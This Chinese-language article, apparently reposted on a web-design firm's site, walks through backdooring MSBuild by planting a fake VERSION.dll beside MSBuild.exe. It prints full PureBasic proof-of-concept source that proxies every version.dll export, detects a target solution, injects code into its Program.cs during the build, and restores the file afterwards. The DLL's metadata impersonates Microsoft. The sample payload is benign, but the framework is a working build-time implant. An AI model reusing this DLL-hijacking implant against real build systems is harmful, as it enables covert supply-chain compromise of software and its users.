這篇文章主要介紹“怎么分析MSBuild后門技術(shù)”,在日常操作中,相信很多人在怎么分析MSBuild后門技術(shù)問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”怎么分析MSBuild后門技術(shù)”的疑惑有所幫助!接下來,請跟著小編一起來學(xué)習(xí)吧!
創(chuàng)新互聯(lián)建站專注于霞山企業(yè)網(wǎng)站建設(shè),成都響應(yīng)式網(wǎng)站建設(shè)公司,商城網(wǎng)站建設(shè)。霞山網(wǎng)站建設(shè)公司,為霞山等地區(qū)提供建站服務(wù)。全流程按需策劃,專業(yè)設(shè)計,全程項目跟蹤,創(chuàng)新互聯(lián)建站專業(yè)和態(tài)度為您提供的服務(wù)

在2020年,不同的美國聯(lián)邦政府分支機構(gòu)都受到了大規(guī)模數(shù)據(jù)泄露的影響。其中很大一部分可以歸結(jié)于針對SolarWinds的供應(yīng)鏈攻擊,包括其旗艦產(chǎn)品SolarWinds Orion的基礎(chǔ)設(shè)施建設(shè)。2021年1月11日,CrowdStrike情報小組發(fā)布了一份分析報告,分析了部署到SolarWinds構(gòu)建環(huán)境中的一個惡意工具,而該惡意工具能夠在構(gòu)建時將SUNBURST后門注入SolarWinds Orion平臺之中。
CrowdStrike的博客文章是一位同事介紹給我的。SUNBURST的開發(fā)人員會嘗試每秒都去搜索MSBuild.exe進程,然后讀取這些遠程進程中的虛擬內(nèi)存來確定現(xiàn)在構(gòu)建的是否是正確的解決方案。除此之外,SUNBURST攻擊者還會創(chuàng)建一個計劃任務(wù),在目標設(shè)備每次啟動時執(zhí)行后門植入操作。
實際上,我認為這種方式是很粗糙也很草率的,那怎么做才會更好呢?我們接著往下看!
MSBuild微軟引擎在構(gòu)建應(yīng)用程序時,絕大多數(shù)時候都會使用XML文件來指導(dǎo)目標解決方案的構(gòu)建過程。
在檢查MSBuild.exe的代碼時,你首先會注意到的一件事情就是它本審就是一個.NET程序集。那么,哪種方法才是后門化任意.NET程序集的最佳方法呢?
沒錯,就是使用version.dll。
運行任意解決方案的快速構(gòu)建后(比如說使用C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SomeProject.sln /t:Build /p:Configuration=Release;Platform=Win64),并使用ProcMon記錄程序執(zhí)行路徑,我們會發(fā)現(xiàn)程序會在MSBuild.exe目錄下搜索多個DLL文件:
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ole32.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-string-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sxs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WindowsCodecs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}因此,我們就可以直接對MSBuild.exe或C#編譯器(Csc.exe)下手了!正如CrowdStrike所提到的,植入的后門代碼已經(jīng)檢查出了正確的解決方案,所以我們在測試中也將針對MSBuild.exe文件進行操作。
我們已經(jīng)知道,VERSION.dll會導(dǎo)出17個不同的名稱,我們需要去實現(xiàn)這些內(nèi)容以確定目標的正常功能不受影響。
__export_name(GetFileVersionInfoA) __export_name(GetFileVersionInfoByHandle) __export_name(GetFileVersionInfoExA) __export_name(GetFileVersionInfoExW) __export_name(GetFileVersionInfoSizeA) __export_name(GetFileVersionInfoSizeExA) __export_name(GetFileVersionInfoSizeExW) __export_name(GetFileVersionInfoSizeW) __export_name(GetFileVersionInfoW) __export_name(VerFindFileA) __export_name(VerFindFileW) __export_name(VerInstallFileA) __export_name(VerInstallFileW) __export_name(VerLanguageNameA) __export_name(VerLanguageNameW) __export_name(VerQueryValueA) __export_name(VerQueryValueW)
我們的PoC會在DLL中實現(xiàn)后門功能,而不需要每秒讀取遠程進程內(nèi)存或觸發(fā)進程搜索。PoC將用PureBasic編寫,因為沒有一個正常的攻擊者會在其中實現(xiàn)他的植入,因此不需要考慮復(fù)制粘貼這個源代碼;-)
注入的代碼應(yīng)具有以下特征:
沒有其他正在運行的進程;
無遠程進程操作(讀取/寫入遠程進程內(nèi)存等);
生成正確解決方案的唯一觸發(fā)器;
在生成過程中插入后門
在生成過程之后刪除后門源文件;
正如我們前面看到的,VERSION.dll文件很早就由.NET運行時加載了。通過實現(xiàn)mock函數(shù),不僅可以驗證是否加載了DLL,而且還可以知道在執(zhí)行構(gòu)建過程之前調(diào)用了GetFileVersionInfoSizeW函數(shù),如下圖所示:

考慮到這一點,那么我們就可以不依賴DllMain函數(shù)中任何不成熟的解決方案,而只需劫持GetFileVersionInfoSizeW調(diào)用,執(zhí)行我們的后門插入代碼,然后調(diào)用真正的GetFileVersionInfoSizeW函數(shù)并返回其結(jié)果,就可以繞過加載程序鎖的任何問題。
在下面的PoC中,后門被插入到對GetFileVersionInfoSizeW的調(diào)用中。整個過程中,源代碼保存在內(nèi)存中,只要用DLL_PROCESS_DETACH調(diào)用DllMain,就可以通過還原以前的源代碼來刪除后門代碼。
通過將我們的VERSION.dll拷貝到MSBuild目錄下,我們可以更好地確保操作的安全性,因為不需要創(chuàng)建額外的進程,可以省略內(nèi)存搜索并捕獲每一次的構(gòu)建操作,因為我們的代碼是由MSBuild直接執(zhí)行的。

源碼以及預(yù)編譯代碼可以在點擊【這里】獲取。
; ***************************************************************************
; * *
; * Author: marpie (marpie@a12d404.net) *
; * License: BSD 2-clause *
; * Copyright: (c) 2021, a12d404.net *
; * Status: Prototype *
; * Created: 20200116 *
; * Last Update: 20200117 *
; * *
; ***************************************************************************
EnableExplicit
; ---------------------------------------------------------------------------
;- Consts
#TARGET_SOLUTION = "ConsoleApp1.sln"
#BACKDOOR_CODE = "public Class1() { Console.WriteLine(" + Chr(34) + "Hello from the Static initializer!" + Chr(34) + "); }"
#BACKDOOR_INSERT_AFTER = "class Class1 {"
#BACKDOOR_ALIVE = $c45c9bda8db1
#MIN_SIZE = 100 ; 100 bytes
; ---------------------------------------------------------------------------
;- Variables
Global mux.i = #Null ; set in DLL_PROCESS_ATTACH
Global hVersion.i = #Null ; orig version.dll handle
Global active.i = 0 ; checked in CleanupBackdoor
Global origContent.s = "" ; ptr to memory of the original source
Global origContentSize.i = 0 ; size of the original source
; ---------------------------------------------------------------------------
;- Backdoor Handling
Procedure.s GetTargetFilePath()
Define i.i
Define path.s
For i = 0 To CountProgramParameters()
path = ProgramParameter(i)
If CountString(path, #TARGET_SOLUTION) > 0
ProcedureReturn GetPathPart(path) + "Program.cs"
EndIf
Next
ProcedureReturn ""
EndProcedure
Procedure.b ReadOrigContent(hFile.i)
Define res.b = #False
FileSeek(hFile, 0, #PB_Absolute)
Define size.i = Lof(hFile)
Define *mem = AllocateMemory(size)
If ReadData(hFile, *mem, size) <> size
Goto ReadAllCleanup
EndIf
origContent = PeekS(*mem, size, #PB_UTF8)
origContentSize = Len(origContent)
res = #True
ReadAllCleanup:
If *mem
FreeMemory(*mem)
EndIf
ProcedureReturn res
EndProcedure
; InsertBackdoor needs to be called from a function holing mux!
Procedure.b InsertBackdoor(path.s)
Define res.b = #False
Define hFile.i = OpenFile(#PB_Any, path, #PB_File_SharedRead | #PB_UTF8)
If Not hFile
ProcedureReturn res
EndIf
; read file content
If Not ReadOrigContent(hFile)
Goto InsertBackdoorError
EndIf
; check if the right code is present
Define pos.i = FindString(origContent, #BACKDOOR_INSERT_AFTER)-1
If pos < 0
Goto InsertBackdoorError
EndIf
; revert file to 0
FileSeek(hFile, 0, #PB_Absolute)
TruncateFile(hFile)
; write content till start of backdoor
Define writeSize.i = pos+Len(#BACKDOOR_INSERT_AFTER)
Define sizeLeft = writeSize
If WriteString(hFile, Left(origContent, writeSize), #PB_UTF8) = 0
; we should add a restore of the original file here
; ... depending on the write error ...
Goto InsertBackdoorError
EndIf
; write backdoor
writeSize = Len(#BACKDOOR_CODE)
If WriteString(hFile, #BACKDOOR_CODE, #PB_UTF8) = 0
; we should add a restore of the original file here
; ... depending on the write error ...
Goto InsertBackdoorError
EndIf
; write rest of file
writeSize = origContentSize-sizeLeft
If WriteString(hFile, Right(origContent, writeSize), #PB_UTF8) = 0
; we should add a restore of the original file here
; ... depending on the write error ...
Goto InsertBackdoorError
EndIf
res = #True
InsertBackdoorCleanup:
CloseFile(hFile)
ProcedureReturn res
InsertBackdoorError:
If Len(origContent) > 0
origContent = ""
origContentSize= 0
EndIf
Goto InsertBackdoorCleanup
EndProcedure
Procedure ActivateBackdoor()
LockMutex(mux)
; check if the backdoor is already alive
If #BACKDOOR_ALIVE = active
Goto ActivateBackdoorCleanup
EndIf
; check if we have the right solution
Define targetFilepath.s = GetTargetFilePath()
If Len(targetFilepath) < 1
Goto ActivateBackdoorCleanup
EndIf
MessageRequester("ActivateBackdoor", "Hello World from Solution: " + #CRLF$ + ProgramParameter(0))
; init backdoor
If InsertBackdoor(targetFilepath)
active = #BACKDOOR_ALIVE
MessageRequester("ActivateBackdoor", "... backdoor insered ...")
Else
MessageRequester("ActivateBackdoor", "... backdooring failed ...")
EndIf
ActivateBackdoorCleanup:
UnlockMutex(mux)
ProcedureReturn
EndProcedure
Procedure CleanupBackdoor()
LockMutex(mux)
If #BACKDOOR_ALIVE = active
active = #Null
; Do cleanup here
If origContentSize <> 0
Define hFile.i = CreateFile(#PB_Any, GetTargetFilePath(), #PB_UTF8)
If hFile
WriteString(hFile, origContent, #PB_UTF8)
CloseFile(hFile)
EndIf
origContent = ""
origContentSize = 0
EndIf
EndIf
CleanupBackdoorCleanup:
UnlockMutex(mux)
ProcedureReturn
EndProcedure
; ---------------------------------------------------------------------------
;- DllMain Stuff
ProcedureDLL AttachProcess(Instance)
mux = CreateMutex()
EndProcedure
ProcedureDLL DetachProcess(Instance)
CleanupBackdoor()
EndProcedure
; ---------------------------------------------------------------------------
;- orig VERSION.dll Stuff
Procedure.i LoadVersionDll()
Define res.i = #Null
LockMutex(mux)
If #Null = hVersion
; load version.dll
Define dllPath.s = GetEnvironmentVariable("windir") + "\system32\version.dll"
hVersion = OpenLibrary(#PB_Any, dllPath)
EndIf
res = hVersion
CleanupLoadVersionDll:
UnlockMutex(mux)
ProcedureReturn res
EndProcedure
;BOOL GetFileVersionInfoA(
; LPCSTR lptstrFilename,
; DWORD dwHandle,
; DWORD dwLen,
; LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoA(a1.i, a2.l, a3.l, a4.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoA", a1, a2, a3, a4)
EndProcedure
;BOOL GetFileVersionInfoExA(
; DWORD dwFlags,
; LPCSTR lpwstrFilename,
; DWORD dwHandle,
; DWORD dwLen,
; LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoExA(a1.l, a2.i, a3.l, a4.l, a5.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExA", a1, a2, a3, a4, a5)
EndProcedure
;BOOL GetFileVersionInfoExW(
; DWORD dwFlags,
; LPCWSTR lpwstrFilename,
; DWORD dwHandle,
; DWORD dwLen,
; LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoSizeExW(a1.l, a2.i, a3.l, a4.l, a5.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExW", a1, a2, a3, a4, a5)
EndProcedure
;DWORD GetFileVersionInfoSizeA(
; LPCSTR lptstrFilename,
; LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeA(a1.i, a2.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeA", a1, a2)
EndProcedure
;DWORD GetFileVersionInfoSizeExA(
; DWORD dwFlags,
; LPCSTR lpwstrFilename,
; LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeExA(a1.l, a2.i, a3.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExA", a1, a2, a3)
EndProcedure
;DWORD GetFileVersionInfoSizeExW(
; DWORD dwFlags,
; LPCWSTR lpwstrFilename,
; LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoExW(a1.l, a2.i, a3.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2, a3)
EndProcedure
;DWORD GetFileVersionInfoSizeW(
; LPCWSTR lptstrFilename,
; LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeW(a1.i, a2.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2)
EndProcedure
;BOOL GetFileVersionInfoW(
; LPCWSTR lptstrFilename,
; DWORD dwHandle,
; DWORD dwLen,
; LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoW(a1.i, a2.l, a3.l, a4.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoW", a1, a2, a3, a4)
EndProcedure
; int hMem, LPCWSTR lpFileName, int v2, int v3
ProcedureDLL.i GetFileVersionInfoByHandle(a1.i, a2.i, a3.i, a4.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoByHandle", a1, a2, a3, a4)
EndProcedure
;DWORD VerFindFileA(
; DWORD uFlags,
; LPCSTR szFileName,
; LPCSTR szWinDir,
; LPCSTR szAppDir,
; LPSTR szCurDir,
; PUINT puCurDirLen,
; LPSTR szDestDir,
; PUINT puDestDirLen
;);
ProcedureDLL.i VerFindFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileA", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure
;DWORD VerFindFileW(
; DWORD uFlags,
; LPCWSTR szFileName,
; LPCWSTR szWinDir,
; LPCWSTR szAppDir,
; LPWSTR szCurDir,
; PUINT puCurDirLen,
; LPWSTR szDestDir,
; PUINT puDestDirLen
;);
ProcedureDLL.i VerFindFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileW", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure
;DWORD VerInstallFileA(
; DWORD uFlags,
; LPCSTR szSrcFileName,
; LPCSTR szDestFileName,
; LPCSTR szSrcDir,
; LPCSTR szDestDir,
; LPCSTR szCurDir,
; LPSTR szTmpFile,
; PUINT puTmpFileLen
;);
ProcedureDLL.i VerInstallFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileA", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure
;DWORD VerInstallFileW(
; DWORD uFlags,
; LPCWSTR szSrcFileName,
; LPCWSTR szDestFileName,
; LPCWSTR szSrcDir,
; LPCWSTR szDestDir,
; LPCWSTR szCurDir,
; LPWSTR szTmpFile,
; PUINT puTmpFileLen
;);
ProcedureDLL.i VerInstallFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileW", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure
;DWORD VerLanguageNameA(
; DWORD wLang,
; LPSTR szLang,
; DWORD cchLang
;);
ProcedureDLL.i VerLanguageNameA(a1.l, a2.i, a3.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameA", a1, a2, a3)
EndProcedure
;DWORD VerLanguageNameW(
; DWORD wLang,
; LPWSTR szLang,
; DWORD cchLang
;);
ProcedureDLL.i VerLanguageNameW(a1.l, a2.i, a3.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameW", a1, a2, a3)
EndProcedure
;BOOL VerQueryValueA(
; LPCVOID pBlock,
; LPCSTR lpSubBlock,
; LPVOID *lplpBuffer,
; PUINT puLen
;);
ProcedureDLL.i VerQueryValueA(a1.i, a2.i, a3.i, a4.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueA", a1, a2, a3, a4)
EndProcedure
;BOOL VerQueryValueW(
; LPCVOID pBlock,
; LPCWSTR lpSubBlock,
; LPVOID *lplpBuffer,
; PUINT puLen
;);
ProcedureDLL.i VerQueryValueW(a1.i, a2.i, a3.i, a4.l)
ActivateBackdoor()
ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueW", a1, a2, a3, a4)
EndProcedure
; ---------------------------------------------------------------------------
; IDE Options = PureBasic 5.73 LTS (Windows - x64)
; ExecutableFormat = Shared dll
; CursorPosition = 85
; FirstLine = 60
; Folding = -----
; Executable = version.dll
; CompileSourceDirectory
; EnablePurifier
; IncludeVersionInfo
; VersionField2 = Microsoft Corporation
; VersionField3 = Microsoft? Windows? Operating System
; VersionField5 = 10.0.20190.1000 (WinBuild.160101.0800)
; VersionField6 = Version Checking and File Installation Libraries
; VersionField7 = version
; VersionField8 = VERSION.DLL
; VersionField9 = ? Microsoft Corporation. All rights reserved.
; VersionField15 = VOS_NT
; VersionField16 = VFT_DLL到此,關(guān)于“怎么分析MSBuild后門技術(shù)”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識,請繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>
文章名稱:怎么分析MSBuild后門技術(shù)
文章位置:http://www.chinadenli.net/article46/gccgeg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供做網(wǎng)站、手機網(wǎng)站建設(shè)、App開發(fā)、移動網(wǎng)站建設(shè)、ChatGPT、外貿(mào)建站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)